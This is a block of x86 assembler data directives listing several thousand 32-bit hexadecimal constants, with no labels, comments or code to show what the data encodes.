dd 16BB0029h, 3AE341EDh, 53007438h, 980C6B28h, 0C6C286h
dd 0AC1043C7h, 0A81678CDh, 30286459h, 4247102Eh, 0C08005B5h
dd 801A4CCCh, 32433FDBh, 0E548FB00h, 0CEC6732Ah, 50F00567h
dd 809A7CCBh, 0A529E6DFh, 4CAF3D01h, 18EC9626h, 0EFE351C4h
dd 7B3A930h, 1C2F597h, 0C01F5E91h, 0E35F984Dh, 0EE075C5Bh
dd 5731BB2Dh, 6C680009h, 9BDE422h, 6B3F86C5h, 1DBF4B8Eh
dd 806A5F09h, 63C49F0Eh, 3C00F4E7h, 9358D15Eh, 0B13DCAh
dd 0E4BCFF53h, 7FAD07A5h, 3A75C501h, 337BD9A4h, 3CC411C5h
dd 0D2C30091h, 79789A59h, 0EC0DE85Fh, 0A8800EEBh, 9133C8h
dd 0B58910CAh, 0B381AF9Dh, 1DA02D00h, 6CEF0F40h, 8A180ACEh
dd 80E4CC31h, 5F71D2E9h, 0CA1F5502h, 3EC03613h, 0F212E5Eh
dd 0BA7D0EDFh, 0F7208C94h, 0E0223025h, 0EA89C601h, 0DA4D15F3h
dd 95824h, 3320ACD3h, 314451B3h, 0AF49DC1Ch, 9B00F99Dh
dd 4DB2B6D2h, 0F09C078Eh, 60695B84h, 7ED94AE5h, 0B7CBA900h
dd 0D0D20F83h, 0EC2609DBh, 74A5F801h, 0C630B07Bh, 5D3DB609h
dd 64800413h, 0BA9C7CC0h, 5F760D30h, 301863DBh, 0D901B488h
dd 49A28361h, 0A0605729h, 441B48BCh, 31632Eh, 0A2EFF2F6h
dd 153C23D9h, 681600FBh, 0BBFD9C90h, 631C03D2h, 1733CB56h
dd 0E949CFF0h, 9D7C9090h, 0A11D6800h, 425BE22Ch, 8C3200A4h
dd 49F208Fh, 0BE01CDBCh, 0A184B863h, 0C9E82DC0h, 0FAC3B74h
dd 0D7923881h, 471AF87Dh, 163B079Ah, 76009881h, 0C3EFE34h
dd 90075ABDh, 0F0EC7A6Ch, 300148B1h, 0D0B60079h, 3BC5117Bh
dd 6200081Bh, 73824918h, 0AD6B5Fh, 802E77A0h, 0BB1FDF69h
dd 54004C92h, 0B49232DAh, 9D905Ah, 0B3C1944h, 2AEE2767h
dd 1E957900h, 307DD53Ah, 0A49E18A0h, 0D7B8E08Dh, 8FDB1A2Dh
dd 423162ECh, 12784E30h, 0BDC61A9h, 5F00AF74h, 58B030B9h
dd 3E783477h, 0AC92D500h, 0E9D9D00Eh, 539913EDh, 36A4D0A3h
dd 0EC0132CAh, 2FF4E50Fh, 1080D3C8h, 3E3AC3CDh, 59013180h
dd 466D507Ah, 45C0A0DCh, 9B4D00E0h, 0A213EAE8h, 220095A9h
dd 0DEB5DA77h, 140AF778h, 0C83BF8CBh, 0E82C2E05h, 2594826Bh
dd 2077A761h, 4370D914h, 1F22D505h, 0B80B3005h, 140C850Fh
dd 753F1481h, 0E60C6D1h, 0BBBC0059h, 0F99B80A4h, 770A61FEh
dd 0F2D10F2Dh, 0EECA2101h, 0F824A467h, 2F7005Dh, 0B318C74Bh
dd 1C386AB6h, 0A1D380E3h, 38274DD4h, 0A4D8015Bh, 0C7903B05h
dd 6C9DEC28h, 739FFC00h, 0D3641A7Eh, 0B064B08Eh, 242E0C3Ah
dd 8BB86295h, 68595000h, 1912F8ABh, 0E26D0094h, 7E107B9Ch
dd 481F86BAh, 1C055F4h, 1877256Fh, 90F003F7h, 0FD46ADC5h
dd 0F4817EC2h, 43686429h, 1491998Ch, 9B9CE895h, 8DD2C000h
dd 0EDB69D6h, 0B8EFF877h, 524D0150h, 1F4C4E4Fh, 0CB3870E4h
dd 54A6D807h, 116080F7h, 73D75Fh, 0F1080F22h, 671C3355h
dd 51777200h, 0F3E7868Ch, 0FFD700EEh, 742B96Bh, 513541Eh
dd 0E8011067h, 810D591Dh, 18A048FCh, 10454F8Ah, 0D40C74F6h
dd 9A5CC79Eh, 0DD75002Eh, 0C4546EE6h, 4D054A13h, 893F0763h
dd 0E3AC40D0h, 97950058h
dd 368B71CAh, 0D63E90C9h, 0EBEE00E5h, 2B1707B0h, 432E007Eh
dd 47C7DCDAh, 72005C5Eh, 0C8AB9CE0h, 392C65h, 0C3E89A35h
dd 0FF7A5337h, 688D1E07h, 3D71BE09h, 49F481EAh, 79A101E3h
dd 0E2F7E19Ah, 0D4DEF191h, 10C98C1Dh, 643500E5h, 0C727F6h
dd 228F08A9h, 3D720A94h, 0E2471400h, 0BCA81083h, 0A2D10009h
dd 9A5BD2F5h, 4D018728h, 3404959Fh, 0CF4C08Bh, 0E0431D2Dh
dd 8CEC4044h, 0EEC8DF3Ch, 676E5912h, 6A1F00FBh, 6BB7CC80h
dd 82B1DD3Eh, 38F96F0Ch, 0D9FCE13Ch, 630F084h, 0D1674065h
dd 30BFC44Fh, 90183175h, 73008844h, 500E8796h, 30EA6319h
dd 0AE5883C0h, 5B3E6913h, 5E200048h, 51EF4F4Ch, 555C0007h
dd 0E026D60Eh, 10072106h, 23B57D46h, 0C83D00EFh, 0D70D52h
dd 11058F0Ah, 0C6B9E60Fh, 0C9646103h, 8886EC1Ah, 1D9E6EF2h
dd 89296DA2h, 0EB8345E9h, 0E3900797h, 6E005659h, 0D241091Eh
dd 1E27981h, 0A7589B38h, 0C8888C33h, 276E32Ch, 0D2037379h
dd 67D17EBAh, 2DF6A092h, 0EEFE003Bh, 0DD9C8684h, 2F98B4B7h
dd 0BB44A207h, 0F8D07501h, 0ECBCD056h, 0D6EC1DFAh, 0F4A2C636h
dd 6500344Fh, 7DCA35EBh, 0E6968h, 0D413C2DFh, 9602791Dh
dd 3D67D800h, 0A1CFC3E6h, 29310012h, 88430B62h, 0DE0091A2h
dd 2747E907h, 7A40754Ch, 6FE6037Ch, 0ABFD6B1Fh, 0F56829A0h
dd 0BF4E2201h, 0AEA8CDF8h, 6103E0CAh, 0C9C83946h, 306361Dh
dd 934D7819h, 801FC83Fh, 92650240h, 1215D991h, 28CE7Bh
dd 0BE38A074h, 0E8C38474h, 90D486C4h, 18AAB9AFh, 601D0212h
dd 0AC719E3Bh, 7F00BAF8h, 4A4F7CFDh, 3284C8Ch, 0E8FF6956h
dd 0FEA83961h, 0ED007758h, 0C218EFA8h, 77B72E4h, 0B5A534F8h
dd 10420008h, 0F0E97C4Ch, 0B124682Eh, 7A016C9Ah, 0CE2549C8h
dd 0CDE40CCh, 0B6D753C0h, 293EFE0Ah, 0BDC8813Ch, 0CA80C28Fh
dd 24A860h, 0DC6635C7h, 0FF41AE91h, 54D8400h, 87CFDF50h
dd 0EA10C0DBh, 0A7FB250Ah, 8DE23A09h, 0C480010h, 7308FF2Fh
dd 1F9F00B6h, 68791242h, 0CF7C6A3Eh, 22631800h, 34F28CE3h
dd 7B0400CBh, 7C0E6F35h, 61009095h, 44966538h, 0FFB9BC7h
dd 6D0C73E5h, 7FE6AF40h, 2500260Eh, 0A68C0FBDh, 204CE1h
dd 2EE34493h, 6A0D9EDEh, 0F3401500h, 737FEA6Fh, 0CB130C3Ah
dd 8C106C4Ah, 3D001F90h, 0D7CD8E74h, 0F48A529Fh, 7BF401AEh
dd 0AAA67E9Dh, 3986809Eh, 8AFA149h, 7CDD2E19h, 27C100D5h
dd 0BC6D86FFh, 0D6AB8404h, 24C06232h, 1A37260h, 31B19666h
dd 0D82380DBh, 75000F55h, 92BC61CBh, 22CF1A9h, 0F9D3A26Bh
dd 0FF4056A8h, 0F7ECE778h, 0D0617600h, 0C987E10Fh, 0E3AB0F7Ch
dd 0F575C4Ah, 2540AF72h, 90A1556Eh, 27668B0Fh, 981660A6h
dd 2C440E7Eh, 0C7B2BDh, 20071054h, 220069D5h, 0FDB4AFAAh
dd 0A1F39Ah, 9D93AC0Ah, 0F86149Bh, 56505E78h, 0E10036B4h
dd 482DC465h, 1D5C019Eh, 3B086341h, 0E88E5F00h, 360E2305h
dd 485AC53Dh, 0FA521877h, 98A4E4B0h, 20F61230h, 99C10096h
dd 0CC0BFC71h, 7277089Ah, 3442FA00h, 0FB0D0998h, 9DC50076h
dd 58A00A0Ch, 0C20050F9h, 0E9832A52h, 0F76FEAh, 85792EC1h
dd 0F3F2E32Dh, 0CC31C301h, 12BB8BA4h, 0E461FAECh, 256000FDh
dd 0EB1C17E0h, 0F8000B1Dh, 0B1A6AA06h, 805630h, 1B7A18A8h
dd 0D9275062h, 12BCA91Eh, 24B5FB46h, 2EEF0AB8h, 0FA82051h
dd 0E40BF62h, 70890969h, 2464BB00h, 4753E332h, 0F2E724E6h
dd 15B0078h, 0F1428198h, 8A0031F0h, 0B5A7D145h, 0C976C0h
dd 0ED2DD214h, 0CABA5F6Fh, 0C400F67Eh, 477F207Ah, 4C739BF5h
dd 6114045Bh, 0A0806C32h, 0E5245DB7h, 21370700h, 113A3BB0h
dd 935200ACh, 0CA624B40h, 0F03DE6CDh, 4F618E69h, 4DB2C0C5h
dd 0F0129531h, 796F04A1h, 809DC627h, 0F787749Ch, 47925300h
dd 0A0FCE2F0h, 4DB601A5h, 1875F9B8h, 4D880AFh, 324EC031h
dd 848007Ah, 3E24E51Ch, 0B0B0C80Fh, 0FCA392A1h, 0A4B0E01Ah
dd 9970C22h, 0ED4B7719h, 3554015Dh, 0AEE857CCh, 0E2F30039h
dd 17600FF4h, 0D3014D4Bh, 35FA3F38h, 0D5701FC2h, 78893FB1h
dd 115A2A80h, 77F6E2EDh, 3E487000h, 26B0A671h, 2B280330h
dd 0F4D58D64h, 68940688h, 1C11A31Fh, 1017A0A9h, 0F53E1000h
dd 0ECD9F1h, 0F24E6CE4h, 0CBFE3FBFh, 38731E00h, 29200485h
dd 8DFB02C5h, 0D77D5095h, 73629483h, 0E5C054A8h, 667E6301h
dd 0BED88AE8h, 29954082h, 0C1C624h, 76F1C47Bh, 376C8200h
dd 7FF43EE0h, 19FB00CCh, 33C0E831h, 3A0009AEh, 2A98FDE1h
dd 579412h, 9562738Ah, 0B7DF606Eh, 9BF06500h, 9FEBA517h
dd 0C7AC000Dh, 0E7733CE0h, 0B60FE28Bh, 0C0E36E14h, 0B99752CAh
dd 0A9952410h, 0E50E005Ch, 0D77A9829h, 430055FCh, 0E626C7EDh
dd 0F262F3A8h, 0B71728F2h, 1F3F00D2h, 0F65174D6h, 590028BEh
dd 0DB8AE503h, 0FB532981h, 58A714E8h, 3A04E858h, 30073424h
dd 587B5CB3h, 6EA1D876h, 0B5002008h, 5D39360Ah, 0C200A487h
dd 0CB245855h, 4CBE0030h, 0F9EA1A13h, 9C005A07h, 0B922006h
dd 0F2A92880h, 9430077h, 560E8F6h, 13034F87h, 88250F5Eh
dd 69CAC0F2h, 0FE180040h, 0B8C800Dh, 9604D7C0h, 0C2884D16h
dd 82F50490h, 7B592889h, 1B5B05ACh, 0BFD9Dh, 8B6ECCCh
dd 0AE02FA0Ah, 0D4C97C9h, 0BCE48089h, 1C81EEBDh, 800E7751h
dd 8AA31641h, 27032E4Bh, 0D05F22FDh, 6CAA00B7h, 1796030Eh
dd 0CE1D3FB8h, 6D8097E7h, 0B5FF7324h, 40916C5h, 0CD68009Dh
dd 5E51EE4h, 0DB5B5700h, 8194D936h, 476400D5h, 0A8FF56C6h
dd 76001851h, 5FEEF09Dh, 0CE6ADFh, 8A465770h, 10868321h
dd 2E0D3Ah, 0EAA4AC6Ch, 3F45F849h, 0C507E49Bh, 0A005BEB7h
dd 0B6AC9F0Eh, 48FAAF3Dh, 0D89E006Fh, 727E4C38h, 7E287BCCh
dd 5D140C09h, 9E609119h, 0C877D47Dh, 28F738h, 593B8BCBh
dd 0DB561Ah, 0CFC9783Fh, 0BBD9B618h, 7772717h, 0E8F2B006h
dd 0CDF90040h, 33AD3439h, 0FE8B970h, 7DF05000h, 0A858E899h
dd 3071EDh, 324B9C9Bh, 0C22DCCC7h, 83161E3Ah, 1FBEA253h
dd 26180A46h, 0C238869Dh, 88040BF3h, 377F075Ch, 22B380DAh
dd 0B5006C6Eh, 862EB3Dh, 0EA9B3391h, 0CFC73B36h, 0EF235400h
dd 3CCE554Bh, 0FCBE300h, 9E32DCD6h, 0CCD10048h, 8AB791BEh
dd 0B4A8C65Bh, 4460C102h, 0F71CA690h, 0B5DB3D7Bh, 80D2A703h
dd 93B8BF82h, 0E0004CA4h, 0D905E12h, 0F665B844h, 0CE0900D9h
dd 1C27E888h, 48FE12C4h, 0ACE62E03h, 1258772Dh, 0FFBA58h
dd 0C0EF784Eh, 358DBC6h, 0BE9D00ACh, 7A819010h, 0B9B20075h
dd 9B14B158h, 3460AB0Ah, 0ADDB4620h, 224E01C6h, 0B6AF5540h
dd 0E380C6A5h, 5BA69A8Bh, 27FCC250h, 0E205F000h, 18461D98h
dd 0A29C00ABh, 8DEE4E41h, 290169C5h, 8E0F8744h, 0D530C1AAh
dd 6D8CA078h, 7607005Bh, 6A7CF12Ah, 0EF00929Ah, 6F55F396h
dd 0FA5D6h, 372BE5FEh, 0E925339Fh, 0ECE48300h, 51930ECDh
dd 8A900024h, 65E23D3Ch, 4A00D03Fh, 0B544C6CFh, 0FD41B8h
dd 1B98529Dh, 748318E9h, 809F9A3Eh, 0ECE744F3h, 0BC753Ah
dd 2ED90FB9h, 0C8A60D4Bh, 0FE011BEAh, 0FDD5E16Ah, 0CCDC2607h
dd 0E62A00A8h, 0A1D399B8h, 0CBEAC972h, 26A9BF0Eh, 0C03E4F1Fh
dd 686CF80h, 0E8830028h, 0DE4ED6E3h, 44006533h, 532767FEh
dd 989EB0h, 70FC2413h, 0E0A0CCCBh, 29264800h, 833499F5h
dd 4457002Bh, 0D37BFDCFh
dd 7700CD27h, 0F6AB1D52h, 2EAD3Bh, 0B6A4C654h, 0C105535Dh
dd 0D8515E00h, 0D4079D4h, 66E60246h, 9AD2B8A0h, 523280DFh
dd 0C8B47Bh, 0DC748FCh, 2688E493h, 87203901h, 50B9AC4h
dd 2B84E941h, 7B10ECh, 41551477h, 578173EFh, 0EC6A9200h
dd 0B23A1999h, 719E0065h, 3602A469h, 0C4073D7Eh, 3FDD726Eh
dd 818CB620h, 0E3D70786h, 37C6A2B5h, 5F54004Dh, 1D07B4C9h
dd 2B49AA2Dh, 1B96004Bh, 0CC38FAh, 9DE547A7h, 3D21C248h
dd 78DF2701h, 41356949h, 0F831CCh, 0E3898F43h, 0E4AD3DA6h
dd 26604500h, 4FFB021Dh, 400464DAh, 0F762C0F9h, 7B05B5D0h
dd 829A5EA6h, 5AA010C0h, 8A9E00CFh, 3FF14BD4h, 0DF00D063h
dd 33C90AB9h, 68C19Fh, 0A5803A35h, 34F1FF3h, 5FEF2D00h
dd 10DDCC0h, 0B05D706Dh, 67280015h, 0E5BFA7Eh, 4D031474h
dd 44A28773h, 111AD075h, 9E2D269Dh, 215E132Ch, 0E47A9300h
dd 0C4016EF0h, 227D48B9h, 0C7D06D82h, 0D92B006Ch, 1CFD1A34h
dd 0CD008A73h, 353703D2h, 0E0BE9817h, 0B51900B2h, 78A333C8h
dd 2EEA1238h, 0D0911F00h, 8342F75Eh, 131EE23h, 0E89FCB03h
dd 0BCFC7FF0h, 5CA40088h, 50DE30CEh, 97EF009Bh, 0DD6C5BCFh
dd 760C4073h, 785ED744h, 82150378h, 9DA68EC2h, 1013B0E8h
dd 0BFEB8D18h, 1326C066h, 0D96AEEh, 0C3BA8E17h, 6776205Ah
dd 9BAEDB03h, 0C2CA5B4Ch, 1A2F40DAh, 0CA800B7h, 32F6C035h
dd 6A014195h, 6268E18Bh, 42F063F4h, 0CEDA093Fh, 5E802E93h
dd 71C97398h, 0D9A85102h, 40CFB5E7h, 8966DCh, 8045E82Dh
dd 8FF48C1Fh, 51DC4800h, 0D53923D9h, 2F9A0393h, 655D0D6Bh
dd 9D4DC0E8h, 7754EA07h, 0A8474EE0h, 61F68B50h, 0F2A70002h
dd 8985C3A9h, 0CA017C50h, 0ECAA3A56h, 32F0CDA3h, 0CEC500DAh
dd 94B4D3EFh, 0A43CFE93h, 579C003Bh, 13F56DBh, 0D48E17F7h
dd 21711331h, 32C39080h, 35BD07FCh, 2E41CDA4h, 0BFCCCABh
dd 3B7A51h, 96F69164h, 0B22AACAFh, 1C4E6800h, 0CA4385CBh
dd 16900EDh, 7BC2EF5Fh, 200367Ch, 973A219Bh, 18CC6FFAh
dd 0A4F7D89Ch, 0A60040F2h, 0E8D7A091h, 0F4976ECBh, 14E20158h
dd 0B8C0CC83h, 8480F0EDh, 2C52A700h, 96D485A6h, 0F1C40104h
dd 43AC5F75h, 951820FBh, 8F0F24F4h, 870F81F4h, 0F7B0337Eh
dd 2C78B8AEh, 540134Eh, 80252A61h, 0B71134D8h, 695A771Ch
dd 9163A240h, 0F439B48h, 2A7AB06Bh, 0C8F90036h, 0DBEEB706h
dd 347A6AF4h, 80199D3Ah, 13E7CE7h, 1C93DEh, 8A917ECAh
dd 0CDA0AF43h, 556E6103h, 98BBED94h, 0D5B186h, 29EF7190h
dd 36FB62A3h, 4CAC8400h, 0B8C499B6h, 72C01CAh, 1BBD46A0h
dd 564730A4h, 1AA37C00h, 0C339AC9Ah, 459B0008h, 0CA13104h
dd 0D47424B8h, 51A9DD0Fh, 20CBAF96h, 9248BFF2h, 0DE970017h
dd 0FBB2A057h, 0FF00BB4Eh, 0C61BDBA2h, 7E274533h, 154700D2h
dd 7D6AD91h, 0E500DEBFh, 43BC4C6Ah, 39C17A9Ah, 9C9D9052h
dd 9698BFBh, 32ECB183h, 2D613488h, 433BFA00h, 6B93BF8Dh
dd 13E29Ah, 596CE275h, 7D2A78AEh, 0EFAA2800h, 71F81AFFh
dd 0F072E0h, 89B0DA46h, 0BC87FE63h, 97E36A1Dh, 0DEEA0641h
dd 16D0C384h, 0E53C0031h, 0FF1C1ADh, 0EF01DAD7h, 0A1657634h
dd 0CF70ECB6h, 0F72C0099h, 729FA36Ch, 4300080Ch, 4C85F548h
dd 7B6D79E1h, 508003A6h, 70EFAB89h, 0B23B0288h, 5323D000h
dd 2E514B5Fh, 31571B24h, 0B4C0199Bh, 0A0982A03h, 0CA10C301h
dd 0DB409E9Ah, 222B3480h, 3B736184h, 0D9641501h, 0CBDF3807h
dd 7D54ECh, 0C61D23D3h, 0EB4C09B8h, 8CA9DE00h, 1F905BD6h
dd 0BD130FFDh, 6261A831h, 0DC7976D2h, 2600E460h, 0FAB36C7Bh
dd 502A7750h, 0F8E39B44h, 0E6831686h, 47A20ED9h, 0DF890620h
dd 6C00F275h, 403BE254h, 3B72B1FCh, 1103D527h, 866A4EF6h
dd 0C6C836DBh, 210733BEh, 3EA727C5h, 0DA003017h, 79824EF8h
dd 0AEE90055h, 0E174A6Ah, 3D0354AAh, 1B974DBBh, 1F08A064h
dd 47A1A08Dh, 0B8A3039Fh, 0F62FE572h, 999BF0D8h, 0A900EDE0h
dd 91424C28h, 0E90A3BDh, 2ED1835Ch, 0D9E7A0C0h, 0D31FC570h
dd 0C6C062FDh, 0FB6375F5h, 0E968012Ch, 188261C7h, 0EBCCE409h
dd 9ED79B0Eh, 0DD00F6FFh, 441BBFF3h, 3B70EA7Ch, 0A080C51Dh
dd 5FDDF758h, 5E003623h, 0ED378A9Ch, 9A3FFDh, 53072284h
dd 74E28BC5h, 0DC0BF507h, 1DE3FB7Fh, 0F357A8D6h, 0B72C005Eh
dd 128A47EBh, 0A401364Ah, 6F2FBE84h, 78E85C3Eh, 729B00FDh
dd 0D14943A8h, 0A3037F47h, 3B5F5738h, 0F2FBE8DFh, 0AFE0083h
dd 0DEFAE192h, 5400BE24h, 0C3EA7E41h, 882E53h, 0E81A608Dh
dd 72A7E702h, 5019F01Fh, 0EF752940h, 6E1F40DFh, 7A8051CBh
dd 94CC01D9h, 8FBE0197h, 38837624h, 0DC93F417h, 2CE1282Ch
dd 0D5C1D100h, 72992D3h, 346D2F73h, 0F49F703Dh, 103CEB0h
dd 7884148Ah, 9B2AC045h, 2C36006Ch, 5E5D3C6Bh, 0EA00442Dh
dd 41788610h, 0E3ECB4h, 4BE4B28Eh, 535AB650h, 0CF8F8200h
dd 4F798337h, 816114B7h, 8000E0F4h, 0C5590A5Bh, 0EF07E576h
dd 481B7221h, 0F5093333h, 0AF5CAEC1h, 0DD7070h, 1C3CF6DEh
dd 8B080A39h, 0E16FC10Eh, 7BD000CEh, 0B6BB9h, 80A6977Dh
dd 0E42809F5h, 0F7BDE106h, 74718185h, 3012EE6Fh, 0F510EEC1h
dd 0F9702860h, 4C577D07h, 5840ED10h, 126D2A2Bh, 37EDE80h
dd 40B6D1EEh, 265CA390h, 72F3E300h, 53D97D25h, 312D0008h
dd 0BAD80E1Fh, 34020410h, 0F921A3E1h, 5624C074h, 28790080h
dd 51184F76h, 750AD284h, 44C4129Ah, 0F93A7204h, 0CB136C91h
dd 0F1F02FC1h, 0A39079h, 0ED2EEEC3h, 9A9869A3h, 3DAD7307h
dd 9360B9CAh, 0F4FCE3C4h, 0B8C80089h, 36F4F82Eh, 531FE17Eh
dd 5640C2D6h, 281EE2E8h, 0B8CF0098h, 0A8018B47h, 0BA006DCBh
dd 0AA84FB2Dh, 313514h, 339694D6h, 0D747BFD2h, 8E9A6000h
dd 0FDA155F7h, 0ECB1CBA5h, 14DB2D00h, 71008FB4h, 75EE58D8h
dd 5544D596h, 0D087B86Ah, 6725B866h, 0EA768362h, 36B5FBB0h
dd 63219CE5h, 5A2BA901h, 398082D8h, 1A0326D6h, 8B608A58h
dd 856DC529h, 372D008Eh, 4C824559h, 0A600ACB5h, 4B4FCD6h
dd 7DA9F81Ch, 9E59C0E0h, 0D64CE8A7h, 8C43760Fh, 0D903C0EEh
dd 1673DF9Fh, 7A8121Bh, 0F18B69A8h, 0F0A51ADAh, 1500F296h
dd 0FEDE84C0h, 0A9D559h, 8F616DC7h, 99F030F1h, 78EEE803h
dd 7F7DD71h, 0F8BFF5D8h, 0EAE1CED3h, 0F4B975ECh, 720033F0h
dd 0BDEE8934h, 1D047098h, 9D808FCAh, 0F6928CA8h, 4F0027A8h
dd 0DBB77DB4h, 7F05895h, 6DCE1EE8h, 70CB85DCh, 25D45704h
dd 0ED076C7Ch, 0A66AD02h, 29CEB6A0h, 50840C52h, 4B285A7Bh
dd 0B8133801h, 65C74CEFh, 0CAF201h, 8E669Ah, 0C2DD93F1h
dd 693BC6E8h, 54E73Ch, 0A760EC95h, 229AE93Fh, 9E228675h
dd 898AEEE7h, 442508FCh, 51C0CA83h, 23AA7733h, 638A00A8h
dd 0EDB29259h, 950135B8h, 7394C4D6h, 0DDE07C3Ch, 252801D3h
dd 0C88B34A5h, 749141C6h, 9C7DC8E4h, 2E970500h, 904552BEh
dd 952C0067h, 0DD66A5D8h, 1600DF1Ch, 844701F3h, 1C8D73Ah
dd 67921F4Bh, 430FF211h, 100096D0h, 1666231Bh, 0C32EECh
dd 0A6FE31FFh, 0A0831359h, 0ADE78BFh, 0F1DC3690h, 2A4F00D0h
dd 610310EFh, 0FE3DDB00h, 0D9CEA58Dh, 9CBB00D6h, 202BB929h
dd 0ED7721F0h, 0F29B98C0h, 3FB24012h, 4F0019F8h, 8822F173h
dd 25003BA8h, 8E538D3Eh
dd 730DB75h, 365C141Ch, 131110CBh, 0A41E1EEDh, 7B4BC923h
dd 0C21F00BDh, 1D20EA53h, 7CF584E3h, 1BF28B0Eh, 0F929C07Dh
dd 0E83DC9A4h, 0B8765C01h, 1AD7A820h, 0D470ECh, 778CFBD6h
dd 5BA15968h, 2CF44900h, 15AA7193h, 0A0B8A3h, 0F9EBE80Ch
dd 3AF6FA94h, 1C514E00h, 4D84A75Bh, 65EA007Dh, 476E3999h
dd 0B7187280h, 0DF289409h, 0DAF12E03h, 91D200DEh, 7E243285h
dd 8723263Dh, 28FDC9A7h, 3CE02FB0h, 204901FFh, 0B08CFAB5h
dd 0C157DE1Ah, 0AA6090FBh, 0D0E03D03h, 0F7508780h, 2636EAFBh
dd 4273D400h, 11D97240h, 0D8920048h, 0DE3F1BC3h, 0FB006CDAh
dd 5D54241Eh, 0A0233h, 0AABDE473h, 4492C4FEh, 0A253F400h
dd 80378BE3h, 7E1501BFh, 0C57762C7h, 0A434FC7Dh, 29BBEC00h
dd 80B2A285h, 4BC300D2h, 680AD1EEh, 990077ACh, 0F352B802h
dd 637C69h, 0C7543D55h, 0CBB473DAh, 0A070B91Dh, 8590B601h
dd 0BED4D43Bh, 0D9E200DBh, 0F2694E14h, 39009BD0h, 95CD797h
dd 3537FEh, 2DD18707h, 9860325Eh, 0F1447300h, 0ECA3A05Ch
dd 379600E8h, 5B56804Ch, 0B97F85CCh, 42EE3D00h, 606C59FBh
dd 3CC10720h, 909C1726h, 3D2B41F8h, 37C6F000h, 0CB535F30h
dd 0BDA100C7h, 7D6F4A5Ah, 0F71C889Dh, 0B88003DBh, 0EE08E7A8h
dd 1C570011h, 0EAD45DC4h, 9000BE3h, 0F73687E2h, 31B8E90h
dd 97754ACDh, 0F1B8706Ch, 6900D509h, 0AD35FE4h, 1668CC0h
dd 6572F84Ah, 70445CB0h, 640E55CDh, 0E0592B25h, 0C92A4812h
dd 766A00A3h, 0F0068B0Fh, 0A02D298h, 0BEEBE05Bh, 0B26AC022h
dd 5C2A1D97h, 0FA37C0DAh, 4646698h, 35DC3D02h, 0E344B417h
dd 0DF8EA992h, 7B4EF4h, 0EF58A526h, 0C3041A72h, 0A2D4F000h
dd 6EC6BBE1h, 62D000Bh, 0C80E9DEBh, 33003A7Eh, 7C546B5Bh
dd 393532FDh, 0F003F72h, 70F3FFADh, 0D0005329h, 17A0051Ch
dd 0BF3CA9h, 62CBF866h, 403D5EB3h, 0B004CE0Ch, 5724A9Ch
dd 57E96CDDh, 9812ABh, 4442924Dh, 7A00BC47h, 9AD6CA67h
dd 0F4AEC4h, 1DE6E121h, 4396B5C5h, 1AEB1400h, 0F9362D9Bh
dd 3F3F7F84h, 0A00DD76h, 0DA04A7BBh, 0CF7C1EADh, 0B830BE07h
dd 0AA11DC8Fh, 0AC423419h, 136041B2h, 0D2EDFCh, 0DCEF225Ah
dd 71F47ECBh, 6D312600h, 0F27CC9F5h, 9C05075Dh, 104E43DBh
dd 19E08521h, 50CAD903h, 0F8AD22C2h, 4152BC0h, 62A531C4h
dd 0D482C0A2h, 2EF84DC7h, 0ABDDD100h, 32180BE0h, 732F0F74h
dd 4D0FE107h, 71E44FE1h, 0C71EF044h, 161ED470h, 0DC8088C2h
dd 0F9A9952Dh, 52CE0EEBh, 6F63BF91h, 1000A6D5h, 0ABC96613h
dd 0E5F1534h, 60C57449h, 122C45h, 8AB3D058h, 0EE5E94C2h
dd 58D493A1h, 19FD0052h, 47B43A29h, 0B6012669h, 0ED187DD4h
dd 20807B89h, 0AA30EC0Dh, 0DC3D1DD2h, 297A01CFh, 0E3BDB373h
dd 6FA81080h, 2E519921h, 0B405BC1Dh, 0AD00345Dh, 832681ECh
dd 42950049h, 0FC841101h, 4C133A93h, 5B1FF273h, 0ADF0B084h
dd 0EDC00080h, 0E4F50141h, 0DEA71A34h, 0CC0BD878h, 30F3443Bh
dd 29B3F0A1h, 0A68403ABh, 0E132CDACh, 75D9B4F8h, 0F8AB100h
dd 727631DBh, 0A766004Fh, 1C828D5Ah, 81005CA2h, 0E698631Bh
dd 3F51D11h, 0D03B7049h, 6EF84B1Fh, 0B500E34Ah, 0CD41DE94h
dd 0D86663h, 0C116A265h, 0BB4FFBEDh, 27EE2A00h, 0E2020A8Ch
dd 0E57F0014h, 0EB8EF80Eh, 0A200AAE7h, 1E46539Ah, 7EA1CAh
dd 0E1803A03h, 25EE32Ah, 0D7923600h, 6125DC52h, 1BC2396Eh
dd 31826900h, 0D493CD1Ah, 60AF7104h, 0F1C05572h, 0F06DBA91h
dd 0F1CB00B1h, 6B9D598Bh, 8F00FC81h, 3FE8949h, 311C12Dh
dd 60C958CEh, 27D2D817h, 0CC1C21E1h, 0B409E35Bh, 31FDC2h
dd 56B19F7Ch, 2E7576ABh, 25A6CEh, 0E70B950Ah, 47F404D4h
dd 1E6FCA01h, 0AEE1F9ECh, 58CC70h, 8292B13Fh, 5ACC48A3h
dd 4500B990h, 8DF24D67h, 0B0E246h, 0F91C0544h, 4F533FAh
dd 0D18C9906h, 30D362h, 0E1FBEA54h, 5BACBD0Ch, 0AB197960h
dd 0E77CE6B5h, 2090F5DCh, 9B00D4B7h, 5CB45238h, 3C591Eh
dd 0A6C451ADh, 0BD6C7717h, 7300307Dh, 5B247F46h, 6DABA0h
dd 1064FA09h, 1FCF54D0h, 0AA22E6C0h, 0F472563Ch, 16E90097h
dd 0C83F5B9Dh, 6701B59Bh, 0A30F105Dh, 1C30D312h, 0A6B10755h
dd 40BCD245h, 0BFBDF29Fh, 0A3D7CE00h, 79EE222Dh, 30DF0001h
dd 422C4DD6h, 0C101AB93h, 0D1F20F80h, 91602D14h, 0F4D90E57h
dd 0D4CC39Bh, 18005F18h, 71134886h, 1D5BC91Dh, 40ABA612h
dd 4BEA809Dh, 0FC7767FDh, 0E776C800h, 792B0E58h, 0A7351FFBh
dd 2C6C40D3h, 998CD675h, 9BD12A00h, 0B81DB1C8h, 48620094h
dd 0A927FA9Ch, 68008CA8h, 0E6B65E8Ah, 54CFFE8h, 0D66B0328h
dd 0EABC40C8h, 3296F50Eh, 2723A100h, 0DFF9826Ah, 8ACB4C75h
dd 0D0151400h, 8DBEB7B9h, 32AA7000h, 1F5940C0h, 0CB4F001Bh
dd 62A3D01Ch, 0DD00C874h, 0FE4CC3Ah, 0F08A46h, 0E754BA43h
dd 0CA271BD1h, 0A00D0400h, 624C0FFh, 7D39005Fh, 0A8FE4AF8h
dd 14009A20h, 0BFD42750h, 5BDC53h, 0CFCDED39h, 87DA432h
dd 0C0992B00h, 62CCE929h, 0A0831285h, 0CFEF0E0Fh, 0E62E3920h
